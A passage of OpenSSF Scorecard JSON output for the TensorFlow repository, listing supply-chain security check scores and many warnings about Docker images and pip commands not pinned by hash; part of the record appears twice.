license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to 